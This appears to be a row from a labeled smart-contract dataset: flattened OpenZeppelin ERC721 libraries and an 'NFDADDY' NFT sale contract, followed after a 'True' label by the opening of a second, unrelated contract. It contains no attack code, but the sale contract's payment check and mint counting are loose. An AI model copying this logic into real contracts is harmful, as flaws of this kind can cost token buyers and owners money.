* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Storage based implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165Storage is ERC165 {
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
super.supportsInterface(interfaceId) ||
_supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File @openzeppelin/contracts/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.5;
pragma experimental ABIEncoderV2;
contract NFDADDY is Ownable, ERC721Enumerable, ReentrancyGuard {
using SafeMath for uint256;
string public NFDADDY_PROVENANCE = "";
string public BASE_URI = "";
uint256 public constant PRICE = 0.07 ether;
uint256 public constant MAX_NFDADDY = 10000;
uint256 public constant PURCHASE_LIMIT = 20;
uint256 public NFDADDYReserve = 555;
uint256 public totalPublicSupply;
bool public saleIsActive = true;
constructor() ERC721("NFDADDY", "NFD") {}
function withdraw() public onlyOwner {
address payable to = payable(msg.sender);
(bool success, ) = to.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function _baseURI() internal view override returns (string memory) {
return BASE_URI;
}
function setBaseURI(string memory baseURI_) public onlyOwner {
BASE_URI = baseURI_;
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
NFDADDY_PROVENANCE = provenanceHash;
}
function purchase(uint256 numberOfTokens) public payable nonReentrant {
require(saleIsActive, "Sale is not active");
require(totalSupply().add(numberOfTokens) <= MAX_NFDADDY,"All tokens have been minted");
require(numberOfTokens > 0 && numberOfTokens <= PURCHASE_LIMIT,"Would exceed PURCHASE_LIMIT");
require(msg.value / numberOfTokens == PRICE, "Eth value is not good");
for (uint256 i = 0; i < numberOfTokens; i++) {
if (totalPublicSupply < MAX_NFDADDY) {
uint256 tokenId = totalPublicSupply;
totalPublicSupply += 1;
_safeMint(msg.sender, tokenId);
}
}
}
function reserve(address _to, uint256 _reserveAmount) public onlyOwner {
require(_reserveAmount > 0 && _reserveAmount <= NFDADDYReserve,"Not enough reserve left for team");
require(totalSupply().add(_reserveAmount) <= MAX_NFDADDY,"All tokens have been minted");
for (uint256 i = 0; i < _reserveAmount; i++) {
uint256 tokenId = totalPublicSupply;
totalPublicSupply += 1;
_safeMint(_to, tokenId);
}
NFDADDYReserve = NFDADDYReserve.sub(_reserveAmount);
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-18
*/
pragma solidity ^0.4.23;
// based on https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v1.10.0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
